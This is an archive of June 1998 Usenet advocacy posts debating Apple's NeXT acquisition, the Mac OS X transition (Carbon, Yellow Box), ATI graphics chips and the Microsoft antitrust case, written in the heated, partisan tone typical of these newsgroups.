> The NeXT buyout only makes sense if Apple can now market what they bought
> to their core users and grow that market.
>
>
Again playing devil's advocate -
Since Apple is NOT marketing NeXT technology and is in fact actively killing
features, the purchase was not worth it.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 18:52:53 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6ota05.mvv.sal@panix3.panix.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <358B2EA3.58A5FA0F@spamtoNull.com> <slrn6or9ib.h0d.sal@panix3.panix.com> <358E87AC.E71448B3@spamtoNull.com>
On Mon, 22 Jun 1998 16:30:39 GMT, Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>They should. Every new Mac gets ATI *software* tech, as well as the
>hardware.
This is pure fud. Can you post anything showing that the ATI drivers that
Apple ships are buggy?
>not to mention how bad the visual quality is by comparison.
Liar.
From http://www.tomshardware.com/atixpert.html
"ATI's Rage Pro also offers a very good 3D image quality, making it the
only other chip next to the 3Dfx Voodoo,"
The ATI card has *tons* of glowing reviews. It is a big seller. It is the
perferd OEM part in a highly competive industry. If it was as bad as you
claim it is, the PC industry would have dumped it by now.
This is what Tom of http://www.tomshardware.com/ thinks of the card you
trashed:
"A very good 3D paired with a very good 2D performance, the support of 4
and 8 MB onboard RAM, hence the support of up to 1280x1024 3D resolution
and last but not least the optional TV output make this card a very good
all-round solution, apealing to gamers as well as professionals ... as
long as you don't require OpenGL."
--
sal@panix.com
Salvatore Denaro
From: atlauren@uci.edu (Andrew Laurence)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 22 Jun 1998 11:55:33 -0700
Organization: UC Irvine
Message-ID: <atlauren-2206981155330001@jungleland.acs.uci.edu>
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <SCOTT.98Jun8115024@slave.doubleu.com> <6lkna9$bsi$1@nnrp1.dejanews.com> <35906d0c.13309108@news.supernews.com> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.com> <6mkoqh$8lp$1@nnrp1.dejanews.com>
_3;X4o1Yg^$]=Oc\u
In article <6mkoqh$8lp$1@nnrp1.dejanews.com>, dpetticord@hotmail.com wrote:
>The other possibility is to use mis-direction. Find them guilty of
>participating in an illegal discussions with Netscape and punish them by
>forcing a separation of products or groups. This falls into the category
>of "any guilty verdict will do".
Sometimes it seems that is the goal. (In general, not specific to the MS case.)
In this society, laws and legislation are often created in order to stop
one person/party/company/etc from being an asshole. When enough that
<individual> begins to piss off enough people, and enough people start
thinking "what an asshole", eventually the whims of society (and thus the
wheels of legistlation) start to turn against that <individual>.
In these cases, it seems that words such as "should", "precedence" and
"jurisprudence" are largely irrelevant.
--
Andrew Laurence atlauren@uci.edu
Office of Academic Computing http://www.oac.uci.edu/~atlauren/
UC Irvine
"Perceive the need."
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 11:45:01 -0700
Organization: Primenet (602)416-7000
Message-ID: <6mm8nd$h53@nntp02.primenet.com>
References: <6mkd25$8c44@odie.mcleod.net> <rmcassid-2206981028290001@dante.eng.uci.edu>
Robert Cassidy <rmcassid@uci.edu> wrote:
: >Oh yah, I forgot, Mac users love their
: >GUI and work flow. Well, I have got news - it is not all that great
: >anymore.
: Bullshit. We have a Windows PC here an I was asked how to grab an HTML
: file from the browser and edit it. It was about a 10 step process on the
: PC. It's a 2 step process on the Mac and a one-step process on mine.
Perhaps I misunderstand, but Netscape Communicator has a menu item under
"File" called "Edit Page". I thought that was available on all Netscape
platforms...
I'd be interested in hearing your ten step program.
John
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 22 Jun 1998 18:51:06 GMT
Organization: Rockwell International
Message-ID: <6mm92q$tnb4@onews.collins.rockwell.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net>
<6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
<6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
<6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
<6mk8e7$qr1$2@ironhorse.plsys.co.uk>
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Cc: malcolm@plsys.co.uk
In <6mk8e7$qr1$2@ironhorse.plsys.co.uk> mmalcolm crawford wrote:
> May be; it'll be a version 2 -- I'd expect it to diverge from version 1,
else
> it wouldn't have a version number increment. I'd also expect there to be a
> number of Carbon apps in there shipped as standard, as the new Apple seems
to
> be making a habit of (as Mike Paquette has expressed it previously) "eating
> their own dogfood". It makes sense to use the tools you're selling to your
> customers. If it works for you it should work for them.
>
> mmalc.
>
Playing devil's advocate and tying this tread to the related thread "Next
purchase a mistake" -
Either Carbon Apps will stick out as feature poor incompatible inconsistent
crappy Apps or Yellow Box will have been castrated. Which way will it be ?
For god's sake, Apple is busy creating new Carbon apps that may in a future
release have a convenient way to add or hide menu items. We have already
taken a huge step back in GUI technology. The route to API evisceration is
clear and Apple has already started down the path.
Where is the OO Quicktime API for MacOS-X ? Is it only from Java ?
Will encription APIs be available in Yellow Box ?
Will Services or something comparable be available in MacOS-X ?
Will ubiquitous spell checking (with the same spell checker) be available in
MacOS-X ?
Will consistent text entry/formatting with rich text be available in MacOS-X
?
Will I be able to search for text inside documents in MacOS-X rather than
just document names ?
Will there be wrappers ?
Will there be FAT binaries ?
Will drag and drop work between apps ?
How many paste boards will the available ?
Will remote display be available ? How about device independent remote
vector display ?
Etc ...
It seems that every NeXT technology except Mach is deprecated, out right
dropped, or irrelevant.
Apple already had Mach and could have purchased it again for a lot less than
400M.
Apple users/developers do not want BSD UNIX.
Apple users/developers do not want YellowBox.
People keep saying MacOS-X is Rhapsody 2.0. It is not. It is Copland 5
years late minus some features. Exactly what powerful Rhapsody technology is
surviving in MacOS-X ? Now subtract technology that Apple users/developers
demonstrably do not want and what is left ?
The argument is made that Apple acquired great people with NeXT. I do not
dispute that, but was it worth 400M ? Apple could have offered a 1M signing
bonus to 200 people and had the cream of Silicon Valley for half the cost.
Please convince me that I am wrong. I am getting very depressed.
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
From: petrich@netcom.com (Loren Petrich)
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Message-ID: <petrichEuyx44.Lx8@netcom.com>
Organization: Netcom
References: <rmcassid-1805981307530001@dante.eng.uci.edu> <6mh0iv$e25$1@nnrp1.dejanews.com> <35deaab4.128506219@news.supernews.co <6mkoqh$8lp$1@nnrp1.dejanews.com>
Date: Mon, 22 Jun 1998 19:36:04 GMT
Sender: petrich@netcom20.netcom.com
In article <6mkoqh$8lp$1@nnrp1.dejanews.com>, <dpetticord@hotmail.com> wrote:
>In article <35deaab4.128506219@news.supernews.com>,
>You are correct. I admit to relying on my personal experiences to project
>motivations to an entire market, but I find myself constantly telling people
>that the Internet and LANs were NOT invented by Microsoft. ...
There's some hope for your yet, Mr. Petticord :-)
>I appologize, I misunderstood your argument. I am still a little fuzzy on
>your position. Are you saying "the Internet became easy to access (WWW, etc)
>by itself and any credit Win95 received is totally bogus"?
Imagine that M$ had never existed. I'm sure that some other
company would have taken its place. This is because the 1970's and 1980's
had seen several competing microcomputer architectures.
>Because, it is important that we do not falsely feel purged of our sins
>through the crucifiction of Microsoft. What is the plan AFTER Microsoft is
>destroyed? I do not agree with your optimistic view of our industry. Things
>could get worse, much worse.
How so?
I suspect that the result would be a veritable industry of Win32
support for various PeeCee Unixes and Unix-like OSes.
--
Loren Petrich Happiness is a fast Macintosh
petrich@netcom.com And a fast train
My home page: http://www.petrich.com/home.html
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: 22 Jun 1998 19:37:29 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6mmbpp$ni3$1@news.spacelab.net>
References: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com> <B1A80B74-46BBE@206.165.43.23> <jdoherty-1406980213150001@san-tx3-06.ix.netcom.com> <slrn6o7p0o.sk2.sal@panix3.panix.com> <35848D6B.B7C60F36@spamtoNull.com> <slrn6o9557.av9.sal@panix3.panix.com> <35852FC2.1433BE70@spamtoNull.com> <6m90a6$6u9$2@news.spacelab.net> <358B2BD3.BCC40A76@spamtoNull.com>
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>Charles W. Swiger wrote:
>> [ ... ]
>>>> Where can I get Office for the Sony PlayStation? :)
>>>
>>>I *knew* you'd hit me with that...:) ....which is wy I including the
>>>word "computer" in post...:)
>>
>> What makes a PlayStation not a computer?
>>
>> It's not an Intel-based PC, agreed-- but a Mac isn't one, either....
>
> You really don't know?
Actually, I was hoping that a good question might lead you to _think_ beyond
the narrow categories you seem to like so much.
> Here's a simple way to tell the difference. A computer is open-ended.
> The user determines what it does by the type of software he chooses
> to run.
Is the Intel-based machine running OS/2 inside a ATM (Cash station, MAC,
whatever) not a computer, then? The user doesn't get to choose what software
runs.
What about a kiosk machine (I've seen Macs and PC's), displaying a guided
tour, or a providing inventory access (say in a music store)?
What about the computers inside a jet airplane? Are they not computers
because the pilots don't (can't) change the software these dedicated
real-time systems run? Or how about the controlling systems in a nuclear
power plant?
> The Play Station is a *game console.*
Agreed. Why are game consoles not computers?
> What can you do with it aside from running games?
By all accounts, playing games is one of the most popular activities
computers are used for. What else do most people use 3D hardware
acceleration for, anyway?
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
Date: Mon, 22 Jun 1998 13:40:50 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Message-ID: <joe.ragosta-2206981340500001@wil65.dol.net>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <see-below-1706981807140001@dynamic62.pm07.mv.best.com> <slrn6oh5t5.p7f.sal@panix3.panix.com> <358B2F85.1053B40@spamtoNull.com> <joe.ragosta-2006980714560001@elk32.dol.net> <358DA154.6CD1B486@spamtoNull.com> <joe.ragosta-2206980635560001@elk68.dol.net> <358E8E31.F8AB0298@spamtoNull.com>
In article <358E8E31.F8AB0298@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Joe Ragosta wrote:
>
> >
> > Sure. ATI has economies of scale. But that doesn't prove your position.
> > You're saying that there isn't a single graphics chip set out there that's
> > less expensive than the ATI Rage II??? I'd say you're wrong. There are S3
> > chip sets, for example, that are much less than the Rage II.
> >
> > So your assertion is wrong.
> >
>
>
> Actually, again, it's you who are wrong. Apple has what's known as
> "buying requirements"--these are matters relating to orders, quantity
> buying, delivery times, and so forth. Simply put, Apple buys the
> cheapest chips it can from a manufacturer who can *deliver* them within
> the schedules and quantities Apple requires. Who knows? Maybe Apple
> approached S3 and couldn't get a deal Jobs could live with. Do you know?
Wrong. Apple may buy the least expensive chips that meet their product
requirements. Admit it--you were wrong. You have no way of knowing if the
ATI Rage II chip was the least expensive chip or if that's why Apple
bought it.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 19:26:52 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmb5s$r2$1@nnrp1.dejanews.com>
References: <6ml77u$pr6$1@nnrp1.dejanews.com> <1998062214100500.KAA08194@ladder03.news.aol.com>
In article <1998062214100500.KAA08194@ladder03.news.aol.com>,
willadams@aol.com (WillAdams) wrote:
> As I understand it, they've cut the amount of work ARDI has to do by 1/4th
> (6,000 API calls down from 8,000) and by setting it as a specification without
> access to the internals, cut down on the need for ARDI to puzzle out
> undocumented shortcuts.
Actually, I doubt that Carbon will help them very much. Carbon applications
will probably tend to take advantage of Apple's recent APIs (those introduced
after System 7) and ARDI hasn't even started to implement those yet. Also,
ARDI still has to figure out what a routine really does instead of what Apple
says that it does. Also, ARDI doesn't have a PPC emulator and, I bet, many
Carbon applications will be PPC only.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: Barry Friedman <friedman@cisco.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 12:30:32 -0700
Organization: Cisco Systems Inc
Message-ID: <358EB0D8.1757B9F8@cisco.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net>
Mime-Version: 1.0
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Michelle L. Buck wrote:
>
> I want to be convinced!
>
> I have had several replies to the arguments against the NeXT acquisition.
> So far, no body has contented that the purchase was NOT a mistake. Several
> people have commented that Yellow Box is not dead. Several people have
> suggested that Yellow Box can be mixed with Carbon and adopted gradually.
> (I do not believe this. We can argue that in another thread.) Several
> people have suggested that the purchase was worth it for the people it
> brought to Apple.
Sorry to say it, but I think the analysis you posted is correct. NeXT
had
some good technology, but in Apple's hands it's all down the toilet.
They better sell a lot of those iMacs.
Barry
--
Barry Friedman mailto:friedman@cisco.com
Software Engineer/ phone:408-526-8284
Code Dependent "Not everything that can be counted counts,
Cisco Systems Inc. and not everything that counts can be counted"
-- Einstein
From: Jostein Johansen <jostein@chem.uit.no>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 22 Jun 1998 22:03:50 +0200
Organization: priv.
Message-ID: <358EB8A6.FD78CBF5@chem.uit.no>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <358B2D0A.3A11775@spamtoNull.com> <slrn6or9aj.h0d.sal@panix3.panix.com> <358E8686.FEBF1301@spamtoNull.com> <slrn6ot8e6.mvv.sal@panix3.panix.com>
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Salvatore Denaro wrote:
>
> I think Mr Ogawa's word is worth more than yours.
>
> >Right. As I said in the beginning, the ATI chips cost less because they
> >deliver less, and believe me they deliver a lot less than 20%.
>
> Why should I take your word? You have not posted any proof of your
> claims. Post *your* list of objective comparison criteria and well do
> a fair comparison.
>
> >Sorry, but the MG 200 Matrox series is slated for release *end of this
> >month!* Not 1999.
>
> Will is ship in machines priced in the $1299 range? I don't think so.
> Low end PCs tend to ship with ATI cards or s3 cards.
>
At least you can throw in a 3DFx card in your lowcost PC if you get sick
of the crappy 3D-preformance from vendors like ATI. If you look at some
hardwaretest sites like http://www.anandtech.com/3dvidacc.html or
http://www.tomshardware.com/3dchip0498.html you will notice that ATI has
a decent 2D-performance, but more or less useless 3D-performance in
games (in many tests its the SLOWEST chipset around). And as stated
before in this thread ATI has a reputation of delivering unstable
drivers (if you ever read newsgroups like comp.sys.ibm.pc.hardware.video
you would have known this)
Regards
Jostein
--
___________________________ __ ______ __
Jostein A. Johansen /\ \ /\ __ \ /\ \
Email: Jostein@chem.uit.no _\_\ \\ \ __ \ _\_\ \
Tlf. +47 77671088 /\_____\\ \_\ \_\/\_____\
+47 77644067 \/_____/ \/_/\/_/\/_____/
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Games and the consumer market.
Date: Mon, 22 Jun 1998 19:55:47 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmcs4$2pl$1@nnrp1.dejanews.com>
References: <358537F3.66478A32@spamtoNull.com> <B1AAA8E4-604C8@206.165.43.126> <slrn6ob60k.5nf.sal@panix3.panix.com> <3585ECD3.59D2CFF3@spamtoNull.com> <slrn6oc005.8be.sal@panix3.panix.com> <see-below-1606982231010001@dynamic2.pm04.mv.best.com> <slrn6ofuqc.qg6.sal@panix3.panix.com> <6m8vbu$6u9$1@news.spacelab.net> <slrn6oghra.36q.sal@panix3.panix.com> <35886DDA.36EBE8F7@nstar.net> <slrn6oh598.p7f.sal@panix3.panix.com> <3588B000.8094E413@nstar.net> <slrn6ohebn.ss3.sal@panix3.panix.com> <358930F5.F2CF7C78@nstar.net> <slrn6oig4h.k93.sal@panix3.panix.com> <358B30C2.E146D498@spamtoNull.com> <slrn6or9od.h0d.sal@panix3.panix.com> <358E88AC.7AB7CCC6@spamtoNull.com>
In article <358E88AC.7AB7CCC6@spamtoNull.com>,
Jonathan Harker <Limeyville@spamtoNull.com> wrote:
> Let's go through this slowly...if ATI does such a lousy job with X86
> drivers for its products, why does that not give you pause concerneing
> the quality of the ATI drivers ATI writes for Apple to include in its OS
> with Apple products? You see no correlation, even though it's the *same*
> company and the *same* hardware?
Your right, a friend of mine has an ATI Rage Pro and we spend this Saturday
writing an extension to fix some of the larger flaws in the driver. We may
release it. BTW, does the 3D output seem a bit blurry to anyone else? Is that
just the antialiasing algorithm?
> ?????? This makes no sense that I can follow, sorry. How does the fact
> that Apple has to debug ATI drivers equate to ATI being an excellent
> choice for Apple?
Because, presumably, they've already done it.
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: powerbooks too expensive???
Date: 22 Jun 1998 20:12:06 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6otekm.24u.sal@panix3.panix.com>
References: <macghod-1206981517220001@206.133.187.12> <01bd9951$02357360$c07498cf@edwint.rauland.com> <macghod-1606981303220001@206.133.187.73> <1dasruf.yvmeta5xz5ypN@pppsl518.chicagonet.net> <macghod-1806980142280001@sdn-ar-001casbarp295.dialsprint.net> <01bd9aed$4c1f7aa0$c07498cf@edwint.rauland.com> <slrn6ojoni.plc.sal@panix3.panix.com> <1daul49.wxuhrx1wimy47N@pppsl844.chicagonet.net> <slrn6ol1ff.7ec.sal@panix3.panix.com> <1daz78h.1k5p4nwk30efhN@pppsl564.chicagonet.net> <slrn6ordpq.m4l.sal@panix3.panix.com> <01bd9df9$cdb439c0$c07498cf@edwint.rauland.com>
On 22 Jun 1998 16:30:13 GMT, Edwin E. Thorne <edwin.thorne@rauland.com> wrote:
>I never made any such objection. I only objected to Mac bashing and PC
>advocacy on comp.sys.mac.advocacy.
Nonsense. It wasn't bashing (and I read your other post where you listed
three of Steve's posts), it was debate. This is exactly what should be
in c.s.m.a
If you want to see Mac bashing there are plenty of examples. A ton of
FUD and outright bullshit gets posted all the time. None of the posts
from Steve that I saw fit into that group.
>I find that he plays both ends against the middle.
I would call that "being objective".
Steve posted a message about his Mac crashing a while back. He was very
clear in listing the software he was running, and how his machine was
crashing. That same day, he got a few posts listing what he might try to
do to fix the problem. He then posted back thanking everyone for thier
help.
He could have just posted a FUD filed rant about his new g3 being crap
that crashes all the time, but he didn't. He was being fair and objective.
If anything, that post did a lot to present Mac users as being more than
the "clueless sheepeople" that many PC fudsters try to paint them as.
--
sal@panix.com
Salvatore Denaro
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: Mon, 22 Jun 1998 19:49:06 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6mmcfi$254$1@nnrp1.dejanews.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mku6n$lk61@odie.mcleod.net> <6ml68j$6ik$1@news.tuwien.ac.at> <1db0zls.lcwst2v9czm0N@rhrz-isdn3-p59.rhrz.uni-bonn.de> <6mlh7o$g5l$1@news.tuwien.ac.at>
In article <6mlh7o$g5l$1@news.tuwien.ac.at>,
wilkie@cg.tuwien.ac.at (Alexander Wilkie) wrote:
> You're one of those that I didn't want to hit with my comments. YB is
> certainly not the solution to all problems, but it's IMHO _really_ nice. At
> the core of my rant is the fact that apparently so few Mac developers
> actually take the trouble to take a look at it (and also try to understand
> it, for that matter).
Hey Alexander, I just finished developing a framework. In four months I'm
going to be releasing it. It's similar to YB but is fully reentrant, has
garbage collection using a 1ns constant time minimum-scope algorithm per
object, uses a Smalltalk derivative that I'm calling Toughtalk (that is years
ahead of Smalltalk and Objective-C) and runs on top of the MacOS, Windows and
Solaris. As a YB developer with only 5 millions lines of code, I'm giving you
the inside track to start porting today! When can I expect you to be done,
end of the month?
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Next purchase a mistake
Date: 22 Jun 1998 19:58:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6mmd18$d2e@newsb.netnews.att.com>
References: <6mkd25$8c44@odie.mcleod.net>
Originator: gupta@tlctest
Michelle L. Buck <buck.erik@mcleod.net> wrote:
>The following argument was made to me by an associate. I was greatly
>disturbed by the fact that I had no ready counter argument. How should I
>have replied?
>
>
>BEGIN QUOTE FROM MEMORY:
>
>The NeXT purchase was a mistake. Apple already had a Mach kernel and the
>certainly could have purchased another one for less than 400M. If Apple had
The best (or worst ) part of the NeXT purchase based on your point of view
is that it brought Steve Jobs back to Apple.
>planned to release Openstep ASAP as the new operating system, then it might
>have been worth 400M to skip 2-4 years of development and get a product to
>market. As it is, all interesting NeXT technology has been deprecated or
>out right abandoned. Hell, even NeXTtime was superior to its replacement
>(nothing) in Rhapsody and we have waited 2+ years.
Openstep was not the right OS (for the reasons similar to that Linux is not
right OS ) for Macintosh users.
And then, the problem would still be there -- where are the applications ?
>
>POSIX: Apple developers don't want it. It was adapted from
>Free BSD after the merger.
>MACH: Apple already had it before the merger
>YellowBox: Deprecated
Not deprecated. Only the hard fact was realized that the
YellowBox by itself doesn't do anything for existing Macintosh
applications (nor does POSIX).
>WebObjects: Small potatoes. Apple customers don't get it.
When it runs on an Apple OS, Apple customers will get it.
Meanwhile, when someone buys WebObjects right now, they are
becoming an Apple customer, a positive thing.
>UFS/NFS: Deprecated in favor of HFS+ and de-frag tools
I didn't think NFS had much to do with UFS, or does it ?
Think of HFS+ as being akin to Carbon.
>Display Postscript: Abandoned
So that licensing fees would not have to paid to Adobe and
this would make Yellow Box adoption easier rather than harder,
for Wintel developers.
>Remote Display: Abandoned
Because of having to ditch DPS.
>NeXTstep GUI: Abandoned
>EOF: Same fate as rest of YellowBox
Which is, it has a future. See YellowBox above.
>Consistent Applications: Same fate as YellowBox/impossible along side
>Carbon
Why ?
>Services: Same fate as YellowBox
See YellowBox above.
>Intel Support: Abandoned
Why not support DOS applications as well ?
Forget supporting Intel with ISA, parallel ports, serial ports,
SCSI, etc., it is pointless and a step backwards. If you are
building a machine with only Firewire and USB, what advantage
will it having being an Intel box ?
>Sparc Support: Abandoned before purchase
Well, in return for Quicktime on Solaris, maybe ...
>Enterprise Support: Abandoned
I thought Standard&Poors just started using WebObjects.
I guess they decided to do it because there is no support any more.
>
>The counter argument is that with the exception of the outright canceled
>technology, Apple is just playing down acquired technology because Apple
>developers don't want it and Apple does not want to scare them. OK, then
>why have it at all if they don't want it ?
It is not that "Apple developers don't want it".
It is, very simply, that "Apple developers cannot justify
financially the effort to port existing applications to the
Yellow Box".
Why have it at all ? Because it is the main hope for Apple to
have a future.
>
>MaxOS-X is NOT Rhapsody 2.0. MaxOS-X is watered down Copland 5 years late.
>The fact that Mach is used as the kernel is coincidence. POSIX APIs are a
>non issue with Mac developers. Mac developers and users don't want
>UNIX/shells, standard UNIX tools, remote network administration, large
>network support, etc.
MacOS-X is Rhapsody 2.0.
>
>I just read the session notes from the Carbon track at WWDC. I want to cry
>and laugh at the same time.
>As far as I can see, with the release of MacOS-X, users get the following:
>
>Proportional scroll bars: 10 years late
>Window layering: 10 years late
>Flexible Menus: 10 years late
>QuickDrawE 10 years and 4 attempts late
>Protected VM: 14 years late. (68000 with mmu was one
>of the first UNIX desktops)
Which is the root of the problems at Apple. Better late than never !
>With the possible exception of high resolution graphics, everything NeXT
>shipped in 1988 could have been in the Mac. People will say BS, no Mac
>customer could have afforded it. Wake up! I purchased a Next Cube in early
>1989 partly because it was CHEAPER than the most nearly equivalent Apple
>product and had more features to boot.
Virtually everyone on this forum has previously written that the main
reason the Next was a failure was because it was priced out of reach.
Refer dejanews if necessary.
>
>My GOD! Look at the Apple APIs. They are worse than Win32. Take into
>account that they are built on shaky OS foundations and just cringe.
>Windows deserved to beat the Mac. Windows is crap too, but it is a hell of
>a lot more modern/powerful today. Oh yah, I forgot, Mac users love their
>GUI and work flow. Well, I have got news - it is not all that great
>anymore. In many ways it lags Windows and do you know what? The advanced
>MAC look and feel in Rhapsody uses the exact same Openstep APIs that
>implemented the NeXT GUI. The only reason it didn't do it 10 years ago is
>that some people wanted something better and more consistent.
The "betterness" of the GUI is in the eye of the beholder.
If you want Windows, buy Windows, nobody and nothing is stopping you.
And if the Openstep APIs implement an advanced Mac look-and-feel,
surely you can implement the NeXT GUI with these APIs as well, as
another personality for MacOS-X.
>I am just surprised Apple has not removed proportional scroll bars on the
>grounds that they are not Mac like.
>
>END QUOTE
-arun gupta
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 22 Jun 1998 15:03:28 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6mlro0$gfb$1@ns3.vrx.net>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6majra$hjq$1@suriname.it.earthlink.net>
<6mbmnc$1uu$2@news.xmission.com> <35897A0E.2CF1E720@nstar.net>
<6mbvqu$jmk@newsb.netnews.att.com> <358987E3.3499F024@nstar.net>
<6mdnhk$tie$1@nnrp1.dejanews.com> <358A79EB.8C8776DC@nstar.net>
<6mk8e7$qr1$2@ironhorse.plsys.co.uk> <6mm92q$tnb4@onews.collins.rockwell.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: embuck@palmer.cca.rockwell.com
In <6mm92q$tnb4@onews.collins.rockwell.com> Erik M. Buck claimed:
> Either Carbon Apps will stick out as feature poor incompatible inconsistent
> crappy Apps or Yellow Box will have been castrated. Which way will it be ?
I've used many OS apps to date, and in general they seem to be crappy and
poor in comparison to the better apps on the Mac side. This is due more to
development effort and timelines than any quality of the YB side of things.
Generally I expect the Carbon side to have good apps and YB to get better. I
believe your either/or is completely invalid.
> Where is the OO Quicktime API for MacOS-X ? Is it only from Java ?
To date the later.
> Will I be able to search for text inside documents in MacOS-X rather than
> just document names ?
OS8 does this.
> Will there be wrappers ?
Yes.
> Will there be FAT binaries ?
Yes.
> Will drag and drop work between apps ?
OS8 does this.
> How many paste boards will the available ?
All of them.
> Will remote display be available ? How about device independent remote
> vector display ?
No one knows yet.
> It seems that every NeXT technology except Mach is deprecated, out right
> dropped, or irrelevant.
Other than EOF, FoundationKit, PB, IB and WebObjects, all of which are
receiving upgrades. Oh wait, that's all of it!
> Apple users/developers do not want BSD UNIX.
> Apple users/developers do not want YellowBox.
Yes they do.
> People keep saying MacOS-X is Rhapsody 2.0. It is not.
Yes it is.
> It is Copland 5 years late minus some features.
No it's not. That's revisionist history at it's worst. Even if you say
it's not Rhapsody 2.0, it's absolutely nothing whatsoever like Copeland.
Different everything from the ground up.
> Exactly what powerful Rhapsody technology is
> surviving in MacOS-X ?
Hmmm, EOF, WO, FK, AK, PB, IB. That's all of it.
> Now subtract technology that Apple users/developers
> demonstrably do not want and what is left ?
Still all of it.
> Please convince me that I am wrong.
After reading this, which amounts to clearly bending history and facts to
fit your view of what is going on, I doubt you can be.
Maury
Date: Mon, 22 Jun 1998 16:14:57 -0400
